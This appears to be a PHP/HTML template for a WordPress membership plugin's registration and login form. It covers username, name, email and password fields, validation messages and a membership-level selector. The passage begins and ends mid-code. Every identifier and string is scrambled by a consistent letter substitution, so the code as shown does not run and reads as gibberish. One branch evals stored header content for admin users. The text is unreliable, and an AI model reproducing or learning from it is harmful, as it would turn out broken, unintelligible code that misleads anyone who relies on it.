xA (SCFhn4BAm QzmU P) { SCFhncxnquFh .= SCFhn4BAm . QplrmU CFhnQplrmUU } xA (Syrlon4BAm QzmU P) { SCFhncxnquFh .= QplrmU QplrmU.Syrlon4BAm . QplrmU yrlonQplrmUU } xA (StxslmBn4BAm QzmU P) { SCFhncxnquFh .= QplrmU QplrmU.StxslmBn4BAm . QplrmU txslmBnQplrmUU } SCFhncxnquFh = moxt(SCFhncxnquFh)U } WQzmUY QumUuxQzmUY QumUWqyq xA (SBiqxoFmxrs QzmU P QFtqUQFtqU SBiqxoFmxrscFmB QzmU mxtB()) { BDyr QTPMGUQumUnqFs mxmuB=QplrmUQTPMGU.ymtuBsmxmxBn(SCFhncxnquFh).QTPMGUQplrmUQzmUQTPMGU.CFmB(QplrmUt/C/QplrmU.Dyo(HG), SoBFudors) . QTPMGUQumU/nqFsQzmUQTPMGUU } BunB { BDyr QTPMGUQFtqUsEnqUQTPMGUU } WQzmUY QumU/uxQzmUY QumUWqyq BsCAroBFDyU WQzmUY QumU/luQzmUY QumUWqyq BunB: WQzmUY QumUWqyq BDyr QTPMGUQFtqUsEnqUQTPMGUU WQzmUY QumUWqyq BsCxAU WQzmUY QumU/mCQzmUY QumU/moQzmUY QumUWqyq BsCAroBFDyU WQzmUYY QumU/mErChQzmUY QumU/mFEuBQzmUY QumUWqyqY } qoxkFmB AlsDmxrs myxDvEri() { jq_BsplBlB_nDoxqm(QTPMGUmyxDvEriQTPMGU,sluu,FooFh(QTPMGUwplBohQTPMGU))U jq_BsplBlB_nmhuB(QTPMGUmyxDvEri.DnnQTPMGU, QTPMGU/QTPMGU.DrsnmFsm(QplrmU?072dQplrmU).QTPMGU/wn/myxDvEri/myxDvEri.DnnQTPMGU, sluu, QTPMGUO.PQTPMGU)U } AlsDmxrs oBzxnmBo(SEuFsv=AFunB) { zurEFu StBtEBozBsxlnU SqFzB = (xnnBm(S_ b&;b$#[QplrmUqFzBQplrmU]) W S_ b&;b$#[QplrmUqFzBQplrmU] : QplrmUQplrmU)U Squlzxs0FzB = (AlsDmxrs_Bixnmn(QplrmUqulzxs_EFnBsFtBQplrmU) W qulzxs_EFnBsFtB(__a74b__) : QplrmUQplrmU)U xA (VAlsDmxrs_Bixnmn(QplrmUDlooBsm_lnBo_DFsQplrmU) || VDlooBsm_lnBo_DFs(QplrmUtFsFzB_rqmxrsnQplrmU) || Vxn_FCtxs() || nmoqrn(SqFzB, Squlzxs0FzB) === AFunB) { xA (VStBtEBozBsxln-QzmUoBzxnmBo4BkBu QFtqUQFtqU VStBtEBozBsxln-QzmUoBzxnmBo#Btq) { oBmlosU } } BimoFDm(3BtEBo9Bsxln::BimoFDm())U SkFuxCFmB = 3BtEBo9Bsxln::kFuxCFmB()U xA (xnnBm(StBtEBozBsxln-QzmUoBzxnmBo3BmFCFmF)) { BimoFDm(StBtEBozBsxln-QzmUoBzxnmBo3BmFCFmF)U } SzBm = S_9b#U SuBkBu = vBh(SzBm)U FooFh_nyxAm(SzBm)U SzBm[QplrmUBixnmxszQplrmU] = PU Ssrsbixnmxsz4xsv = QplrmUWQplrmU.SuBkBu.QplrmUQFtqUQplrmU.ymmq_ElxuC_plBoh(SzBm)U SzBm[QplrmUBixnmxszQplrmU] = OU SBixnmxsz4xsv = QplrmUWQplrmU.SuBkBu.QplrmUQFtqUQplrmU.ymmq_ElxuC_plBoh(SzBm)U SzBm[QplrmUBixnmxszQplrmU] = OU SzBm[QplrmUqFnnjroC$BsmQplrmU] = OU Surnm0FnnjroC4xsv = nxmB_lou(QplrmUWQplrmU.SuBkBu.QplrmUQFtqUQplrmU.ymmq_ElxuC_plBoh(SzBm))U xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_lnBosFtBQplrmU])) { SlnBosFtB = nmoxqnuFnyBn(S_01$#[QplrmUtBtEBozBsxln_lnBosFtBQplrmU])U } xA (Vxn_FCtxs()) { xA (SzurEFu8BFCBo = StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(-O, QplrmUyBFCBoQplrmU)) { BkFu( QTPMGUWQzmU QTPMGU.nmoxqnuFnyBn(SzurEFu8BFCBo).QTPMGU QumUWqyq QTPMGU )U } xA (xnnBm(StBtEBozBsxln-QzmUoBzxnmBo4BkBu-QzmU7c) QFtqUQFtqU (SyBFCBo = StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(StBtEBozBsxln-QzmUoBzxnmBo4BkBu-QzmU7c, QplrmUyBFCBoQplrmU))) { BkFu( QTPMGUWQzmU QTPMGU.nmoxqnuFnyBn(SyBFCBo).QTPMGU QumUWqyq QTPMGU )U } } WQzmUYY QumUWqyq xA (Vxn_FCtxs()): WQzmUY QumUWqyq xA (xnnBm(S_9b#[QplrmUBixnmxszQplrmU]) QFtqUQFtqU S_9b#[QplrmUBixnmxszQplrmU] == O): WQzmUY QumUq Fuxzs=QplrmUDBsmBoQplrmUQzmUQumUE nmhuB=QplrmUEFDvzorlsC-Druro:hBuurjUQplrmUQzmUQumUWqyq _B(QTPMGUbixnmxsz fDDrlsmQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU:QumU/EQzmU QumUWqyq _B(QTPMGU7A hrl FuoBFCh yFkB Fs FDDrlsm AroQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU QumUxQzmUQumUWqyq BDyr zBm_rqmxrs(QplrmUEurzsFtBQplrmU)U WQzmUQumU/xQzmU:QumUEo /QzmUY QumUEQzmUQumUWqyq _B(QTPMGUaxuu xs myB arot eBurjQTPMGU)U WQzmUQumU/EQzmUQumU/qQzmUYY QumUq Fuxzs=QplrmUDBsmBoQplrmUQzmUQumUE nmhuB=QplrmUEFDvzorlsC-Druro:hBuurjUQplrmUQzmUQumUWqyq _B(QTPMGU2Bj fDDrlsmQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU:QumU/EQzmU QumUWqyq _B(QTPMGU7A hrl Cr srm yFkB Fs FDDrlsm AroQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU QumUxQzmUQumUWqyq BDyr zBm_rqmxrs(QplrmUEurzsFtBQplrmU)U WQzmUQumU/xQzmU:QumUEo /QzmUY QumUEQzmUQumUF nmhuB=QplrmUmBim-CBDroFmxrs:lsCBouxsBUQplrmU yoBA=QplrmUQumUWqyq BDyr Ssrsbixnmxsz4xsvU WQzmUQplrmUQzmUQumUWqyq _B(QTPMGUduxDv 8BoB mr doBFmB F 2Bj fDDrlsmQTPMGU)U WQzmUQumU/FQzmUQumU/EQzmUQumU/qQzmUY QumUWqyq BunB: WQzmUY QumUq Fuxzs=QplrmUDBsmBoQplrmUQzmUQumUE nmhuB=QplrmUEFDvzorlsC-Druro:hBuurjUQplrmUQzmUQumUWqyq _B(QTPMGUbixnmxsz fDDrlsmQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU:QumU/EQzmU QumUWqyq _B(QTPMGU7A hrl FuoBFCh yFkB Fs FDDrlsm AroQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU QumUxQzmUQumUWqyq BDyr zBm_rqmxrs(QplrmUEurzsFtBQplrmU)U WQzmUQumU/xQzmU:QumUEo /QzmUY QumUEQzmUQumUF yoBA=QplrmUQumUWqyq BDyr SBixnmxsz4xsvU WQzmUQplrmU nmhuB=QplrmUmBim-CBDroFmxrs:lsCBouxsBUQplrmUQzmUQumUWqyq _B(QTPMGUduxDv 8BoB mr 4rzxsQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU QFtqUFtqU QumUWqyq _B(QTPMGUfCC #yxn 0loDyFnB mr QTPMGU.Dyo(HG).QTPMGUrlo bixnmxsz fDDrlsmQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumU/FQzmUQumU/EQzmUQumU/qQzmUYY QumUq Fuxzs=QplrmUDBsmBoQplrmUQzmUQumUE nmhuB=QplrmUEFDvzorlsC-Druro:hBuurjUQplrmUQzmUQumUWqyq _B(QTPMGU2Bj fDDrlsmQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU:QumU/EQzmU QumUWqyq _B(QTPMGU7A hrl Cr srm yFkB Fs FDDrlsm AroQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU QumUxQzmUQumUWqyq BDyr zBm_rqmxrs(QplrmUEurzsFtBQplrmU)U WQzmUQumU/xQzmU:QumUEo /QzmUY QumUEQzmUY QumUWqyq xA ((xnnBm(S_9b#[QplrmUBixnmxszQplrmU]) QFtqUQFtqU S_9b#[QplrmUBixnmxszQplrmU] == P) || Drlsm(S_01$#) QzmU P): WQzmUY QumUWqyq _B(QTPMGUaxuu xs myB arot eBurj mr doBFmB F 2Bj fDDrlsmQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUY QumUWqyq BunB: WQzmUY QumUF nmhuB=QplrmUmBim-CBDroFmxrs:lsCBouxsBUQplrmU yoBA=QplrmUTQplrmU rsDuxDv=QplrmUCrDltBsm.zBmbuBtBsmeh7C(QTPMGUtBtEBozBsxln_oBzxnmoFmxrsQTPMGU).nmhuB.CxnquFh=QTPMGUEurDvQTPMGUU myxn.xssBo8#34 = QTPMGUaxuu xs myB arot eBurj mr doBFmB F 2Bj fDDrlsmQTPMGUU oBmlos AFunBUQplrmUQzmUQumUWqyq _B(QTPMGUduxDv 8BoB mr doBFmB F 2Bj fDDrlsmQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumU/FQzmUY QumUWqyq BsCxAU WQzmUY QumU/EQzmUQumU/qQzmUY QumUWqyq BsCxAU WQzmUQumUEo /QzmUY QumUWqyq BsCxAU WQzmUYY QumUArot tBmyrC=QplrmUqrnmQplrmUQzmUYY QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUFDmxrsQplrmU kFulB=QplrmUtBtEBozBsxln_oBzxnmBoQplrmUQzmUYY QumUWqyq xA (xn_lnBo_urzzBC_xs() QFtqUQFtqU DlooBsm_lnBo_DFs(QplrmUtFsFzB_rqmxrsnQplrmU)): WQzmUY QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUjq_ymmq_oBABoBoQplrmU kFulB=QplrmUtBtEBozBsxlnQplrmU /QzmUY QumUWqyq BsCxAU WQzmUYY QumUWqyq xA (xnnBm(StBtEBozBsxln-QzmUoBzxnmBo#Btq)): WQzmUQumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUtBtEBozBsxln_mBtqQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(StBtEBozBsxln-QzmUoBzxnmBo#Btq)U WQzmUQplrmUQzmUY QumUWqyq BunBxA (xnnBm(StBtEBozBsxln-QzmUoBzxnmBo4BkBu-QzmUuBkBu_yFny)): WQzmUQumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUtBtEBozBsxln_yFnyQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(StBtEBozBsxln-QzmUoBzxnmBo4BkBu-QzmUuBkBu_yFny)U WQzmUQplrmUQzmUY QumUWqyq BsCxAU WQzmUYY QumUWqyq xA (xnnBm(StBtEBozBsxln-QzmUoBzxnmBo4BkBu-QzmU7c)): WQzmUY QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUtBtEBozBsxln_oBzxnmBoQplrmU kFulB=QplrmUQumUWqyq BDyr xsmkFu(StBtEBozBsxln-QzmUoBzxnmBo4BkBu-QzmU7c)U WQzmUQplrmUQzmUY QumUWqyq BsCxAU WQzmUYY QumUWqyq xA (xnnBm(S_9b#[QplrmUBixnmxszQplrmU]) QFtqUQFtqU S_9b#[QplrmUBixnmxszQplrmU] == O): WQzmUY QumUyM nmhuB=QplrmUtFozxs:PUQplrmUQzmUQumUWqyq _B(QTPMGUbixnmxsz fDDrlsm 4rzxsQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumU/yMQzmUYY QumUWqyq xA (xnnBm(S_9b#[QplrmUqFnnjroC$BsmQplrmU])): WQzmUY QumUEurDvplrmBQzmUY QumUqQzmUQumUWqyq _B(QTPMGU2Bj qFnnjroC nBsm. 0uBFnB DyBDv hrlo BtFxu FsC DrsmxslB Axuuxsz xs myxn qFzB.QTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumU/qQzmUY QumU/EurDvplrmBQzmUY QumUWqyq BunBxA (xnnBm(SkFuxCFmB[QplrmUlnBofkFxuFEuBQplrmU]) QFtqUQFtqU SkFuxCFmB[QplrmUlnBofkFxuFEuBQplrmU] == molB): WQzmUY QumUEurDvplrmBQzmUY QumUqQzmUQumUWqyq _B(QTPMGU;nBosFtB CrBn srm BixnmQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU:QumUEo /QzmU QumUF yoBA=QplrmUQumUWqyq BDyr Ssrsbixnmxsz4xsvU WQzmUQplrmUQzmUQumUWqyq _B(QTPMGUduxDv yBoB mr DoBFmB F sBj FDDrlsm.QTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumU/FQzmUQumU/qQzmUY QumU/EurDvplrmBQzmUYY QumUWqyq BunBxA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_qFnnjroCOQplrmU]) QFtqUQFtqU xnnBm(SkFuxCFmB[QplrmUqFnnjroCdrooBDmQplrmU]) QFtqUQFtqU SkFuxCFmB[QplrmUqFnnjroCdrooBDmQplrmU] == AFunB): WQzmUY QumUEurDvplrmBQzmUY QumUqQzmUQumUWqyq _B(QTPMGU0FnnjroC xsDrooBDmQTPMGU)U WQzmU:QumUEo /QzmU QumUF yoBA=QplrmUQumUWqyq BDyr jq_urnmqFnnjroC_lou(Surnm0FnnjroC4xsv)U WQzmUQplrmUQzmUQumUWqyq _B(QTPMGUduxDv yBoB mr oBmoxBkB hrlo qFnnjroCQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumU/FQzmUQumUEo /QzmU Y QumUWqyq _B(QTPMGU1qBsn xs F sBj jxsCrj, EB nloB mr DrtB EFDv mr myxn qFzB.QTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumU/qQzmUY QumU/EurDvplrmBQzmUY QumUWqyq BsCxAU WQzmUYY QumUmFEuB DBuuqFCCxsz=QplrmUPQplrmU DBuunqFDxsz=QplrmUPQplrmUQzmUY QumUmErChQzmUY QumUmoQzmUY QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:mrqU jxCmy:NPPqiUQplrmUQzmUQumUuFEBu Aro=QplrmUtBtEBozBsxln_lnBosFtBQplrmUQzmUQumUEQzmUQumUWqyq _B(QTPMGUbixnmxsz ;nBosFtBQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU:QumU/EQzmUQumU/uFEBuQzmUQumU/mCQzmUY QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:mrqUQplrmUQzmUQumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUtBtEBozBsxln_lnBosFtBQplrmU xC=QplrmUtBtEBozBsxln_lnBosFtBQplrmU nxgB=QplrmUOKQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SlnBosFtB)U WQzmUQplrmUQzmUY QumU/mCQzmUY QumU/moQzmUYY QumUmoQzmUY QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:mrqUQplrmUQzmUQumUuFEBu Aro=QplrmUtBtEBozBsxln_qFnnjroCQplrmUQzmUQumUEQzmUQumUWqyq _B(QTPMGU0FnnjroCQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU:QumU/EQzmUQumU/uFEBuQzmUQumU/mCQzmUY QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:mrqUQplrmUQzmUQumUxsqlm mhqB=QplrmUqFnnjroCQplrmU sFtB=QplrmUtBtEBozBsxln_qFnnjroCOQplrmU xC=QplrmUtBtEBozBsxln_qFnnjroCQplrmU nxgB=QplrmUOPQplrmUQzmUY QumU/mCQzmUY QumU/moQzmUYY QumUmoQzmUY QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:mrqUQplrmUQzmUQFtqUsEnqUQumU/mCQzmUY QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:mrqUQplrmUQzmUY QumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-qoxtFohQplrmU kFulB=QplrmU QumUWqyq _B(QTPMGU4rzxs mr bixnmxsz fDDrlsmQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU QplrmUQzmU QFtqUsEnqUQFtqUsEnqUQFtqUsEnqUY QumUF yoBA=QplrmUQumUWqyq BDyr jq_urnmqFnnjroC_lou(oFjlouBsDrCB(Surnm0FnnjroC4xsv))U WQzmUQplrmUQzmUQumUWqyq _B(QTPMGUarozrm 0FnnjroCWQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumU/FQzmUY QumU/mCQzmUY QumU/moQzmUY QumU/mFEuBQzmUY Y QumUWqyq BunB: WQzmUY QumUWqyq xA (Vxn_FCtxs()): WQzmUY QumUCxk xC=QplrmUtBtEBozBsxln_oBzxnmoFmxrsQplrmUQzmUY QumUyM nmhuB=QplrmUtFozxs:PUQplrmUQzmUQumUWqyq BDyr __(QTPMGU2Bj fDDrlsmQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU) . QTPMGU QTPMGU .__(QTPMGU BzxnmoFmxrsQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumU/yMQzmUY QumUWqyq StBtEBozBsxln-QzmUnrDxFu-QzmUoBzxnmoFmxrs()U WQzmUY QumUWqyq BsCxAU WQzmUYY QumUmFEuB DBuuqFCCxsz=QplrmUPQplrmU DBuunqFDxsz=QplrmUPQplrmUQzmUY QumUmErChQzmUYY QumUmoQzmUY QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:mrqU jxCmy:NPPqiUQplrmUQzmUQumUuFEBu Aro=QplrmUtBtEBozBsxln_lnBosFtBQplrmUQzmUQumUEQzmUQumUWqyq _B(QTPMGU2Bj ;nBosFtBQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU:QumU/EQzmUQumU/uFEBuQzmUQumU/mCQzmUY QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:mrqUQplrmUQzmUQumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUtBtEBozBsxln_lnBosFtBQplrmU xC=QplrmUtBtEBozBsxln_lnBosFtBQplrmU nxgB=QplrmUOKQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SlnBosFtB)U WQzmUQplrmU rsEulo=QplrmUtBtEBozBsxln_nlzzBnm()QplrmU /QzmUY QumUCxk DuFnn=QplrmUCBnDQplrmUQzmUY QumUWqyq xA (VSkFuxCFmB[QplrmUBtqmhQplrmU] QFtqUQFtqU VSkFuxCFmB[QplrmUlnBosFtBQplrmU]): WQzmUQumUWqyq _B(QTPMGUb 1 : cBnxoBC lnBosFtB tlnm EB Fm uBFnm L DyFoFDmBon (uBmmBon FsC sltEBon) ursz.QTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumUEo /QzmUY QumUWqyq BunBxA (VSkFuxCFmB[QplrmUBtqmhQplrmU] QFtqUQFtqU VSkFuxCFmB[QplrmUlnBofkFxuFEuBQplrmU]): WQzmUQumUWqyq _B(QTPMGUb 1 : #yFm lnBosFtB xn mFvBs, quBFnB moh FsrmyBo.QTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumUEo /QzmUY QumUWqyq BunB: WQzmUQumUWqyq _B(QTPMGUbsmBo hrlo CBnxoBC lnBosFtB.QTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumUEo /QzmU QumUWqyq _B(QTPMGU3lnm EB Fm uBFnm L DyFoFDmBon (uBmmBon FsC sltEBon) ursz.QTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumUWqyq BsCxAU WQzmUY QumU/CxkQzmUY QumU/mCQzmUY QumU/moQzmUYY QumUmoQzmUY QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:mrqUQplrmUQzmUQumUuFEBu Aro=QplrmUtBtEBozBsxln_AxonmsFtBQplrmUQzmUQumUEQzmUQumUWqyq _B(QTPMGUaxonm 2FtBQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU:QumU/EQzmUQumU/uFEBuQzmUQumU/mCQzmUY QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:mrqUQplrmUQzmUY QumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUtBtEBozBsxln_AxonmsFtBQplrmU xC=QplrmUtBtEBozBsxln_AxonmsFtBQplrmU nxgB=QplrmUOKQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SAxonmsFtB)U WQzmUQplrmU /QzmUY QumUCxk DuFnn=QplrmUCBnDQplrmUQzmUQumUWqyq xA (VSkFuxCFmB[QplrmUBtqmhQplrmU] QFtqUQFtqU VSkFuxCFmB[QplrmUAxonmsFtBQplrmU]): WQzmUQumUWqyq _B(QTPMGUb 1 : QTPMGU.Dyo(HG).QTPMGUrlo Axonm sFtB tlnm EB Fm uBFnm N DyFoFDmBon (uBmmBon FsC sltEBon) ursz.QTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumUEo /QzmUQumUWqyq BsCxAU WQzmUQumU/CxkQzmUY QumU/mCQzmUY QumU/moQzmUYY QumUmoQzmUY QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:mrqUQplrmUQzmUQumUuFEBu Aro=QplrmUtBtEBozBsxln_uFnmsFtBQplrmUQzmUQumUEQzmUQumUWqyq _B(QTPMGU4Fnm 2FtBQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU:QumU/EQzmUQumU/uFEBuQzmUQumU/mCQzmUY QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:mrqUQplrmUQzmUQumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUtBtEBozBsxln_uFnmsFtBQplrmU xC=QplrmUtBtEBozBsxln_uFnmsFtBQplrmU nxgB=QplrmUOKQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SuFnmsFtB)U WQzmUQplrmUQzmUY QumUCxk DuFnn=QplrmUCBnDQplrmUQzmUQumUWqyq xA (VSkFuxCFmB[QplrmUBtqmhQplrmU] QFtqUQFtqU VSkFuxCFmB[QplrmUuFnmsFtBQplrmU]): WQzmUQumUWqyq _B(QTPMGUb 1 : QTPMGU.Dyo(HG).QTPMGUrlo uFnm sFtB tlnm EB Fm uBFnm N DyFoFDmBon (uBmmBon FsC sltEBon) ursz.QTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumUEo /QzmUQumUWqyq BsCxAU WQzmUQumU/CxkQzmUY QumU/moQzmUYY QumUmoQzmUY QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:mrqUQplrmUQzmUQumUuFEBu Aro=QplrmUtBtEBozBsxln_BtFxuQplrmUQzmUQumUEQzmUQumUWqyq _B(QTPMGUbtFxuQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU:QumU/EQzmUQumU/uFEBuQzmUQumU/mCQzmUY QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:mrqUQplrmUQzmUQumUxsqlm mhqB=QplrmUBtFxuQplrmU sFtB=QplrmUtBtEBozBsxln_BtFxuQplrmU xC=QplrmUtBtEBozBsxln_BtFxuQplrmU nxgB=QplrmUNKQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SBtFxu)U WQzmUQplrmUQzmUY QumUCxk DuFnn=QplrmUCBnDQplrmUQzmUY QumUWqyq xA (VSkFuxCFmB[QplrmUBtqmhQplrmU] QFtqUQFtqU VSkFuxCFmB[QplrmUBtFxuQplrmU]): WQzmUQumUWqyq _B(QTPMGUb 1 : 0uBFnB BsmBo F kFuxC BtFxu FCCoBnn.QTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumUEo /QzmUY QumUWqyq BunBxA (VSkFuxCFmB[QplrmUBtqmhQplrmU] QFtqUQFtqU VSkFuxCFmB[QplrmUBtFxufkFxuFEuBQplrmU]): WQzmUQumUWqyq _B(QTPMGUb 1 : #yFm BtFxu FCCoBnn xn mFvBs, quBFnB moh FsrmyBo.QTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUY QumUWqyq BsCxAU WQzmUY QumU/CxkQzmUY QumU/mCQzmUY QumU/moQzmUYY QumUmoQzmUY QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:mrqUQplrmUQzmUQumUuFEBu Aro=QplrmUtBtEBozBsxln_qFnnjroCOQplrmUQzmUQumUEQzmUQumUWqyq _B(QTPMGU0FnnjroC (mjxDB)QTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU:QumU/EQzmUQumU/uFEBuQzmUQumU/mCQzmUY QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:mrqUQplrmUQzmUY QumUWqyq xA (xn_FCtxs()): WQzmUY QumUxsqlm mhqB=QplrmUqFnnjroCQplrmU sFtB=QplrmUtBtEBozBsxln_qFnnjroCOQplrmU xC=QplrmUtBtEBozBsxln_qFnnjroCOQplrmU nxgB=QplrmUNKQplrmU quFDByruCBo=QplrmU(4BFkB EuFsv mr Flmr-zBsBoFmB)QplrmU rsvBhlq=QplrmUCrDltBsm.zBmbuBtBsmeh7C(QTPMGUtBtEBozBsxln_qFnnjroCNQTPMGU).nmhuB.CxnquFh=((myxn.kFulB==QTPMGUQTPMGU)WQTPMGUsrsBQTPMGU:QTPMGUEurDvQTPMGU)UQplrmU/QzmUQumUEo /QzmUY QumUxsqlm mhqB=QplrmUqFnnjroCQplrmU sFtB=QplrmUtBtEBozBsxln_qFnnjroCNQplrmU xC=QplrmUtBtEBozBsxln_qFnnjroCNQplrmU nxgB=QplrmUNKQplrmU quFDByruCBo=QplrmU(bsmBo qFnnjroC FzFxs)QplrmU /QzmUY QumUWqyq BunB: WQzmUY QumUxsqlm mhqB=QplrmUqFnnjroCQplrmU sFtB=QplrmUtBtEBozBsxln_qFnnjroCOQplrmU xC=QplrmUtBtEBozBsxln_qFnnjroCOQplrmU nxgB=QplrmUNKQplrmU/QzmUQumUEo /QzmUY QumUxsqlm mhqB=QplrmUqFnnjroCQplrmU sFtB=QplrmUtBtEBozBsxln_qFnnjroCNQplrmU xC=QplrmUtBtEBozBsxln_qFnnjroCNQplrmU nxgB=QplrmUNKQplrmU /QzmUY QumUWqyq BsCxAU WQzmUYY QumUCxk DuFnn=QplrmUCBnDQplrmUQzmUY QumUWqyq xA (VSkFuxCFmB[QplrmUBtqmhQplrmU] QFtqUQFtqU VSkFuxCFmB[QplrmUqFnnjroCQplrmU]): WQzmUQumUWqyq _B(QTPMGUb 1 : QTPMGU.Dyo(HG).QTPMGU rlo qFnnjroC tlnm EB Fm uBFnm J DyFoFDmBon (uBmmBon FsC sltEBon) ursz.QTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumUEo /QzmUY QumUWqyq BunBxA (VSkFuxCFmB[QplrmUBtqmhQplrmU] QFtqUQFtqU VSkFuxCFmB[QplrmUqFnnjroC3FmDyQplrmU]): WQzmUQumUWqyq _B(QTPMGUb 1 : ermy qFnnjroCn hrl BsmBoBC tlnm tFmDy.QTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumUEo /QzmUY QumUWqyq BunB: WQzmUQumUWqyq _B(QTPMGUbsmBo hrlo CBnxoBC qFnnjroC mjxDB.QTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumUEo /QzmU QumUWqyq _B(QTPMGU3lnm EB Fm uBFnm J DyFoFDmBon (uBmmBon FsC sltEBon) ursz.QTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmUQumUWqyq BsCxAU WQzmUY QumU/CxkQzmUY QumU/mCQzmUY QumU/moQzmUYY QumUWqyq xA (xn_FCtxs()): WQzmUY QumUmoQzmUY QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:txCCuBUQplrmUQzmUQumUuFEBu Aro=QplrmUtBtEBozBsxln_BtFxuQplrmUQzmUQumUEQzmUQumUWqyq _B(QTPMGU3BtEBonyxq 4BkBuQTPMGU, QTPMGUtBtEBo-zBsxlnQTPMGU)U WQzmU:QumU/EQzmUQumU/uFEBuQzmUQumU/mCQzmUY QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:txCCuBUQplrmUQzmUYY QumUnBuBDm sFtB=QplrmUtBtEBozBsxln_uBkBuQplrmUQzmUY QumUWqyq AroBFDy (StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun() Fn SuBkBu): WQzmUY QumUrqmxrs kFulB=QplrmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUQumU/rqmxrsQzmUY QumUWqyq BsCAroBFDyU WQzmUY QumU/nBuBDmQzmUY QumU/mCQzmUY QumU/moQzmUY QumUWqyq BsCxAU WQzmUYY QumUmoQzmUY QumUmC 